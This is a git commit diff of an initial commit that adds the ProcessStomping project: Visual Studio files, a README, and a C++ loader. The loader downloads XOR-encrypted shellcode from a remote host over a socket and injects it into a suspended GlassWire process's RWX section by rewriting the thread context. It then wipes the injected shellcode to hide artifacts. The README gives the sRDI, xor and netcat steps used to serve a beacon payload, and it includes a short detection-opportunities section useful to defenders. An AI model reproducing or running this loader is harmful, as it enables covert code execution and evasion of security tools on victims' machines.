Initial commit

This commit is contained in:
naksyn
2023-11-17 16:56:50 -08:00
parent c7eea64a6e
commit f55c9fe9d2
50 changed files with 8709 additions and 0 deletions
+31
View File
@@ -0,0 +1,31 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 17
VisualStudioVersion = 17.0.32112.339
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ProcessStomping", "ProcessStomping\ProcessStomping.vcxproj", "{0FBABE79-351F-4895-9BB0-23CFAB1DBBB9}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{0FBABE79-351F-4895-9BB0-23CFAB1DBBB9}.Debug|x64.ActiveCfg = Debug|x64
{0FBABE79-351F-4895-9BB0-23CFAB1DBBB9}.Debug|x64.Build.0 = Debug|x64
{0FBABE79-351F-4895-9BB0-23CFAB1DBBB9}.Debug|x86.ActiveCfg = Debug|Win32
{0FBABE79-351F-4895-9BB0-23CFAB1DBBB9}.Debug|x86.Build.0 = Debug|Win32
{0FBABE79-351F-4895-9BB0-23CFAB1DBBB9}.Release|x64.ActiveCfg = Release|x64
{0FBABE79-351F-4895-9BB0-23CFAB1DBBB9}.Release|x64.Build.0 = Release|x64
{0FBABE79-351F-4895-9BB0-23CFAB1DBBB9}.Release|x86.ActiveCfg = Release|Win32
{0FBABE79-351F-4895-9BB0-23CFAB1DBBB9}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {8EDC52B3-F63A-43AE-BE6C-189C835CF2E9}
EndGlobalSection
EndGlobal
@@ -0,0 +1,240 @@
#include "Ws2tcpip.h" //Must include
#include <winsock2.h> //before Windows.h
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include <winternl.h>
#pragma comment(lib,"WS2_32")
//MODIFY THIS
#define PAYLOAD_SIZE 327680 //sRDI payload size
char ProgramName[] = "c:\\Program Files (x86)\\GlassWire\\GlassWire.exe";
const char* host = "192.168.1.1";
const unsigned short port = 8000;
DWORD load_offset = 0x14A7000; //the starting virtual address of the target RWX section
DWORD section_RWX_size = 0x76c000; //the size of the RWX section to be written with zeros to avoid WCX regions
bool is32bit = 1;
const std::string xorKey = "Bangarang";
// END
unsigned char shellcode[PAYLOAD_SIZE];
void xorDecrypt(unsigned char* data, size_t size, const std::string& key) {
for (size_t i = 0; i < size; ++i) {
data[i] ^= key[i % key.length()];
}
}
void DownloadShc() {
WSADATA wsa;
SOCKET s;
struct sockaddr_in cleanServer;
int response_size;
std::cout << "[+] Initializing Winsock" << std::endl;
if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) {
std::cerr << "[!] Error initializing Winsock: " << WSAGetLastError() << std::endl;
exit(1);
}
std::cout << "[+] Creating socket" << std::endl;
if ((s = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) {
std::cerr << "[!] Could not create socket: " << WSAGetLastError() << std::endl;
exit(1);
}
InetPtonA(AF_INET, host, &cleanServer.sin_addr.s_addr);
cleanServer.sin_family = AF_INET;
cleanServer.sin_port = htons(port);
std::cout << "[+] Establishing connection to host " << host << " on port " << port << std::endl;
if (connect(s, reinterpret_cast<struct sockaddr*>(&cleanServer), sizeof(cleanServer)) < 0) {
std::cerr << "[!] Error establishing connection with server: " << WSAGetLastError() << std::endl;
closesocket(s);
WSACleanup();
exit(1);
}
std::cout << "[+] Sleeping 20 seconds to let the netcat transfer finish" << std::endl;
Sleep(20000);
// Initialize buffer
memset(shellcode, 0, sizeof(shellcode));
std::cout << "[+] Attempting to receive data..." << std::endl;
if ((response_size = recv(s, reinterpret_cast<char*>(shellcode), PAYLOAD_SIZE, 0)) == SOCKET_ERROR) {
std::cerr << "[!] Receiving data failed: " << WSAGetLastError() << std::endl;
}
else if (response_size == 0) {
std::cerr << "[!] Connection closed by server" << std::endl;
}
else {
std::cout << "[+] Received " << response_size << " bytes" << std::endl;
}
xorDecrypt(shellcode, response_size, xorKey);
std::cout << "[+] Data decrypted with key: " << xorKey << std::endl;
closesocket(s);
WSACleanup();
}
int main()
{
DWORD dwSize;
DownloadShc();
dwSize = sizeof(shellcode);
HANDLE targetProcessHandle;
PVOID remoteBuffer;
HANDLE threadHijacked = NULL;
HANDLE snapshot;
THREADENTRY32 threadEntry;
CONTEXT context = { 0 };
WOW64_CONTEXT context32 = { 0 };
context.ContextFlags = CONTEXT_FULL;
threadEntry.dwSize = sizeof(THREADENTRY32);
ULONGLONG PEB_addr = 0;
// create destination process - this is the process to be stomped
LPSTARTUPINFOA si = new STARTUPINFOA();
LPPROCESS_INFORMATION pi = new PROCESS_INFORMATION();
PROCESS_BASIC_INFORMATION* pbi = new PROCESS_BASIC_INFORMATION();
DWORD returnLenght = 0;
std::cout << "[+] Creating process in suspended state: " << ProgramName << std::endl;
CreateProcessA(NULL, (LPSTR)ProgramName, NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, si, pi);
HANDLE destProcess = pi->hProcess;
if (is32bit) {
// The target is a 32 bit executable while the loader is 64bit,
// so, in order to access the target we must use Wow64 versions of the functions:
// 1. Get initial context of the target:
std::cout << "[+] Getting thread context\n";
memset(&context32, 0, sizeof(WOW64_CONTEXT));
context32.ContextFlags = CONTEXT_INTEGER;
if (!Wow64GetThreadContext(pi->hThread, &context32)) {
return FALSE;
}
}
else if (!GetThreadContext(pi->hThread, &context))
return 0;
#if defined(_WIN64)
if (!context.Rdx) //loader is x64 but target is 32 bit
PEB_addr = context32.Ebx;
else
PEB_addr = context.Rdx;
#else
PEB_addr = context32.Ebx;
#endif
if (!PEB_addr) {
std::cerr << "Failed getting remote PEB address!\n";
return NULL;
}
ULONGLONG img_base_offset = is32bit ?
sizeof(DWORD) * 2
: sizeof(ULONGLONG) * 2;
LPVOID remote_img_base = (LPVOID)(PEB_addr + img_base_offset);
const size_t img_base_size = is32bit ? sizeof(DWORD) : sizeof(ULONGLONG);
ULONGLONG load_base = 0;
SIZE_T read = 0;
//2. Read the ImageBase fron the remote process' PEB:
std::cout << "[+] Reading ImageBase parameter from process' PEB\n";
if (!ReadProcessMemory(pi->hProcess, remote_img_base,
&load_base, img_base_size,
&read))
{
std::cerr << "Cannot read ImageBaseAddress!\n";
return NULL;
}
std::cout << "[+] ImageBase address is 0x" << std::hex << load_base << std::endl;
std::cout << "[+] Address offset is 0x" << std::hex << load_offset << std::endl;
LPVOID load_base_shifted = (LPBYTE)load_base + load_offset;
std::cout << "[+] Shellcode will be loaded at address 0x" << std::hex << load_base_shifted << std::endl;
BOOL result = 0;
std::cout << "[+] Overwriting RWX section to avoid leaving WCX regions\n";
BYTE* zeroBuffer = (BYTE*)calloc(section_RWX_size, sizeof(BYTE));
result = WriteProcessMemory(destProcess, load_base_shifted, zeroBuffer, section_RWX_size, NULL);
if (!result) {
fprintf(stderr, "Failed to write buffer to target section. Error: %lu\n", GetLastError());
}
if (is32bit) {
std::cout << "[+] Writing Shellcode\n";
result = WriteProcessMemory(destProcess, load_base_shifted, shellcode, dwSize, NULL);
if (!result) {
fprintf(stderr, "Failed to write shellcode to target process. Error: %lu\n", GetLastError());
}
}
else
WriteProcessMemory(destProcess, load_base_shifted, shellcode, sizeof shellcode, NULL);
ULONGLONG ep_va = load_base + load_offset;
std::cout << "[+] Setting new entrypoint at 0x " << std::hex << load_base_shifted << std::endl;
#if defined(_WIN64)
if (!context.Rcx) //loader is x64 but target is 32 bit
context32.Eax = static_cast<DWORD>(ep_va);
else
context.Rcx = ep_va;
#else
context32.Eax = static_cast<DWORD>(ep_va);
#endif
if (is32bit) {
// 2. Set the new Entry Point in the context:
// 3. Set the changed context into the target:
Wow64SetThreadContext(pi->hThread, &context32);
}
else {
GetThreadContext(pi->hThread, &context);
SetThreadContext(pi->hThread, &context);
}
std::cout << "[+] Resuming the thread\n";
ResumeThread(pi->hThread);
std::cout << "[+] Sleeping 2 seconds to let sRDI load the payload" << std::endl;
Sleep(2000);
std::cout << "[+] Overwriting the sRDI shellcode\n";
result = WriteProcessMemory(destProcess, load_base_shifted, zeroBuffer, dwSize, NULL);
if (!result) {
fprintf(stderr, "Failed to write buffer to target section. Error: %lu\n", GetLastError());
}
}
@@ -0,0 +1,151 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{0fbabe79-351f-4895-9bb0-23cfab1dbbb9}</ProjectGuid>
<RootNamespace>ProcessStomping</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;winhttp.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;winhttp.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;winhttp.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;winhttp.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="ProcessStomping.cpp" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
@@ -0,0 +1,22 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="ProcessStomping.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>
@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>
+65
View File
@@ -1,2 +1,67 @@
# ProcessStomping
A variation of ProcessOverwriting to execute shellcode on an executable's section
[![Twitter](https://img.shields.io/twitter/follow/naksyn?label=naksyn&style=social)](https://twitter.com/intent/follow?screen_name=naksyn)
# What is it
For a more detailed explanation you can read my [blog post]()
Process Stomping, is a variation of [hasherezades Process Overwriting](https://github.com/hasherezade/process_overwriting) and it has the advantage of writing a shellcode payload on a targeted section instead of writing a whole PE payload over the hosting process address space.
These are the main steps of the ProcessStomping technique:
1. **CreateProcess** - setting the Process Creation Flag to CREATE_SUSPENDED (0x00000004) in order to suspend the processes primary thread.
2. **WriteProcessMemory** - used to write each malicious shellcode to the target process section.
3. **SetThreadContext** - used to point the entrypoint to a new code section that it has written.
4. **ResumeThread** - self-explanatory.
As an example application of the technique, the PoC can be used with [sRDI](https://github.com/monoxgas/sRDI) to load a beacon dll over an executable RWX section. The following picture describes the steps involved.
![immagine](https://github.com/naksyn/ProcessStomping/assets/59816245/52a8baa6-87e8-4767-9f6d-5f17c3f05761)
# Disclaimer
All information and content is provided for educational purposes only. Follow instructions at your own risk. Neither the author nor his employer are responsible for any direct or consequential damage or loss arising from any person or organization.
# Credits
This work has been made possible because of the knowledge and tools shared by Aleksandra Doniec @[hasherezade](https://twitter.com/hasherezade) and [Nick Landers](https://twitter.com/monoxgas).
# Usage
Select your target process and modify global variables accordingly in ProcessStomping.cpp.
Compile the sRDI project making sure that the offset is enough to jump over your generated sRDI shellcode blob and then update the sRDI tools:
`cd \sRDI-master`
`python .\lib\Python\EncodeBlobs.py .\`
Generate a Reflective-Loaderless dll payload of your choice and then generate sRDI shellcode blob:
`python .\lib\Python\ConvertToShellcode.py -b -f "changethedefault" .\noRLx86.dll`
The shellcode blob can then be xored with a key-word and downloaded using a simple socket
`python xor.py noRLx86.bin noRLx86_enc.bin Bangarang`
Deliver the xored blob upon connection
`nc -vv -l -k -p 8000 -w 30 < noRLx86_enc.bin`
The sRDI blob will get erased after execution to remove unneeded artifacts.
### Demo
# Caveats
To successfully execute this technique you should select the right target process and use a dll payload that doesn't come with a User Defined Reflective loader.
# Detection opportunities
Process Stomping technique requires starting the target process in a suspended state, changing the thread's entry point, and then resuming the thread to execute the injected shellcode. These are operations that might be considered suspicious if performed in quick succession and could lead to increased scrutiny by some security solutions.
+287
View File
@@ -0,0 +1,287 @@
## Ignore Visual Studio temporary files, build results, and
## files generated by popular Visual Studio add-ons.
##
## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
# User-specific files
*.suo
*.user
*.userosscache
*.sln.docstates
# User-specific files (MonoDevelop/Xamarin Studio)
*.userprefs
# Build results
[Dd]ebug/
[Dd]ebugPublic/
[Rr]elease/
[Rr]eleases/
x64/
x86/
bld/
[Oo]bj/
[Ll]og/
# Visual Studio 2015 cache/options directory
.vs/
# Uncomment if you have tasks that create the project's static files in wwwroot
#wwwroot/
# MSTest test Results
[Tt]est[Rr]esult*/
[Bb]uild[Ll]og.*
# NUNIT
*.VisualState.xml
TestResult.xml
# Build Results of an ATL Project
[Dd]ebugPS/
[Rr]eleasePS/
dlldata.c
# .NET Core
project.lock.json
project.fragment.lock.json
artifacts/
**/Properties/launchSettings.json
*_i.c
*_p.c
*_i.h
*.ilk
*.meta
*.obj
*.pch
*.pdb
*.pgc
*.pgd
*.rsp
*.sbr
*.tlb
*.tli
*.tlh
*.tmp
*.tmp_proj
*.log
*.vspscc
*.vssscc
.builds
*.pidb
*.svclog
*.scc
# Chutzpah Test files
_Chutzpah*
# Visual C++ cache files
ipch/
*.aps
*.ncb
*.opendb
*.opensdf
*.sdf
*.cachefile
*.VC.db
*.VC.VC.opendb
# Visual Studio profiler
*.psess
*.vsp
*.vspx
*.sap
# TFS 2012 Local Workspace
$tf/
# Guidance Automation Toolkit
*.gpState
# ReSharper is a .NET coding add-in
_ReSharper*/
*.[Rr]e[Ss]harper
*.DotSettings.user
# JustCode is a .NET coding add-in
.JustCode
# TeamCity is a build add-in
_TeamCity*
# DotCover is a Code Coverage Tool
*.dotCover
# Visual Studio code coverage results
*.coverage
*.coveragexml
# NCrunch
_NCrunch_*
.*crunch*.local.xml
nCrunchTemp_*
# MightyMoose
*.mm.*
AutoTest.Net/
# Web workbench (sass)
.sass-cache/
# Installshield output folder
[Ee]xpress/
# DocProject is a documentation generator add-in
DocProject/buildhelp/
DocProject/Help/*.HxT
DocProject/Help/*.HxC
DocProject/Help/*.hhc
DocProject/Help/*.hhk
DocProject/Help/*.hhp
DocProject/Help/Html2
DocProject/Help/html
# Click-Once directory
publish/
# Publish Web Output
*.[Pp]ublish.xml
*.azurePubxml
# TODO: Comment the next line if you want to checkin your web deploy settings
# but database connection strings (with potential passwords) will be unencrypted
*.pubxml
*.publishproj
# Microsoft Azure Web App publish settings. Comment the next line if you want to
# checkin your Azure Web App publish settings, but sensitive information contained
# in these scripts will be unencrypted
PublishScripts/
# NuGet Packages
*.nupkg
# The packages folder can be ignored because of Package Restore
**/packages/*
# except build/, which is used as an MSBuild target.
!**/packages/build/
# Uncomment if necessary however generally it will be regenerated when needed
#!**/packages/repositories.config
# NuGet v3's project.json files produces more ignorable files
*.nuget.props
*.nuget.targets
# Microsoft Azure Build Output
csx/
*.build.csdef
# Microsoft Azure Emulator
ecf/
rcf/
# Windows Store app package directories and files
AppPackages/
BundleArtifacts/
Package.StoreAssociation.xml
_pkginfo.txt
# Visual Studio cache files
# files ending in .cache can be ignored
*.[Cc]ache
# but keep track of directories ending in .cache
!*.[Cc]ache/
# Others
ClientBin/
~$*
*~
*.dbmdl
*.dbproj.schemaview
*.jfm
*.pfx
*.publishsettings
orleans.codegen.cs
# Since there are multiple workflows, uncomment next line to ignore bower_components
# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
#bower_components/
# RIA/Silverlight projects
Generated_Code/
# Backup & report files from converting an old project file
# to a newer Visual Studio version. Backup files are not needed,
# because we have git ;-)
_UpgradeReport_Files/
Backup*/
UpgradeLog*.XML
UpgradeLog*.htm
# SQL Server files
*.mdf
*.ldf
*.ndf
# Business Intelligence projects
*.rdl.data
*.bim.layout
*.bim_*.settings
# Microsoft Fakes
FakesAssemblies/
# GhostDoc plugin setting file
*.GhostDoc.xml
# Node.js Tools for Visual Studio
.ntvs_analysis.dat
node_modules/
# Typescript v1 declaration files
typings/
# Visual Studio 6 build log
*.plg
# Visual Studio 6 workspace options file
*.opt
# Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
*.vbw
# Visual Studio LightSwitch build output
**/*.HTMLClient/GeneratedArtifacts
**/*.DesktopClient/GeneratedArtifacts
**/*.DesktopClient/ModelManifest.xml
**/*.Server/GeneratedArtifacts
**/*.Server/ModelManifest.xml
_Pvt_Extensions
# Paket dependency manager
.paket/paket.exe
paket-files/
# FAKE - F# Make
.fake/
# JetBrains Rider
.idea/
*.sln.iml
# CodeRush
.cr/
# Python Tools for Visual Studio (PTVS)
__pycache__/
*.pyc
# Cake - Uncomment if you are using it
# tools/**
# !tools/packages.config
# Telerik's JustMock configuration file
*.jmconfig
# BizTalk build output
*.btp.cs
*.btm.cs
*.odx.cs
*.xsd.cs
+6
View File
@@ -0,0 +1,6 @@
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.8"/></startup>
</configuration>
+112
View File
@@ -0,0 +1,112 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="14.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{FD50DEE9-91AB-4449-BA55-27C71098076B}</ProjectGuid>
<OutputType>Exe</OutputType>
<AppDesignerFolder>Properties</AppDesignerFolder>
<RootNamespace>RDIShellcodeLoader</RootNamespace>
<AssemblyName>RDIShellcodeLoader</AssemblyName>
<TargetFrameworkVersion>v4.8</TargetFrameworkVersion>
<FileAlignment>512</FileAlignment>
<AutoGenerateBindingRedirects>true</AutoGenerateBindingRedirects>
<PublishUrl>publish\</PublishUrl>
<Install>true</Install>
<InstallFrom>Disk</InstallFrom>
<UpdateEnabled>false</UpdateEnabled>
<UpdateMode>Foreground</UpdateMode>
<UpdateInterval>7</UpdateInterval>
<UpdateIntervalUnits>Days</UpdateIntervalUnits>
<UpdatePeriodically>false</UpdatePeriodically>
<UpdateRequired>false</UpdateRequired>
<MapFileExtensions>true</MapFileExtensions>
<ApplicationRevision>0</ApplicationRevision>
<ApplicationVersion>1.0.0.%2a</ApplicationVersion>
<IsWebBootstrapper>false</IsWebBootstrapper>
<UseApplicationTrust>false</UseApplicationTrust>
<BootstrapperEnabled>true</BootstrapperEnabled>
<TargetFrameworkProfile />
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Debug|x64'">
<DebugSymbols>true</DebugSymbols>
<OutputPath>bin\x64\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
<DebugType>full</DebugType>
<PlatformTarget>x64</PlatformTarget>
<ErrorReport>prompt</ErrorReport>
<CodeAnalysisRuleSet>MinimumRecommendedRules.ruleset</CodeAnalysisRuleSet>
<Prefer32Bit>false</Prefer32Bit>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Release|x64'">
<OutputPath>bin\x64\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
<DebugType>pdbonly</DebugType>
<PlatformTarget>x64</PlatformTarget>
<ErrorReport>prompt</ErrorReport>
<CodeAnalysisRuleSet>MinimumRecommendedRules.ruleset</CodeAnalysisRuleSet>
<Prefer32Bit>false</Prefer32Bit>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Debug|x86'">
<DebugSymbols>true</DebugSymbols>
<OutputPath>bin\x86\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
<DebugType>full</DebugType>
<PlatformTarget>x86</PlatformTarget>
<ErrorReport>prompt</ErrorReport>
<CodeAnalysisRuleSet>MinimumRecommendedRules.ruleset</CodeAnalysisRuleSet>
<Prefer32Bit>false</Prefer32Bit>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Release|x86'">
<OutputPath>bin\x86\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
<DebugType>pdbonly</DebugType>
<PlatformTarget>x86</PlatformTarget>
<ErrorReport>prompt</ErrorReport>
<CodeAnalysisRuleSet>MinimumRecommendedRules.ruleset</CodeAnalysisRuleSet>
<Prefer32Bit>false</Prefer32Bit>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Core" />
<Reference Include="System.Xml.Linq" />
<Reference Include="System.Data.DataSetExtensions" />
<Reference Include="System.Data" />
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
<Compile Include="Program.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<None Include="App.config" />
</ItemGroup>
<ItemGroup>
<BootstrapperPackage Include=".NETFramework,Version=v4.5.2">
<Visible>False</Visible>
<ProductName>Microsoft .NET Framework 4.5.2 %28x86 and x64%29</ProductName>
<Install>true</Install>
</BootstrapperPackage>
<BootstrapperPackage Include="Microsoft.Net.Framework.3.5.SP1">
<Visible>False</Visible>
<ProductName>.NET Framework 3.5 SP1</ProductName>
<Install>false</Install>
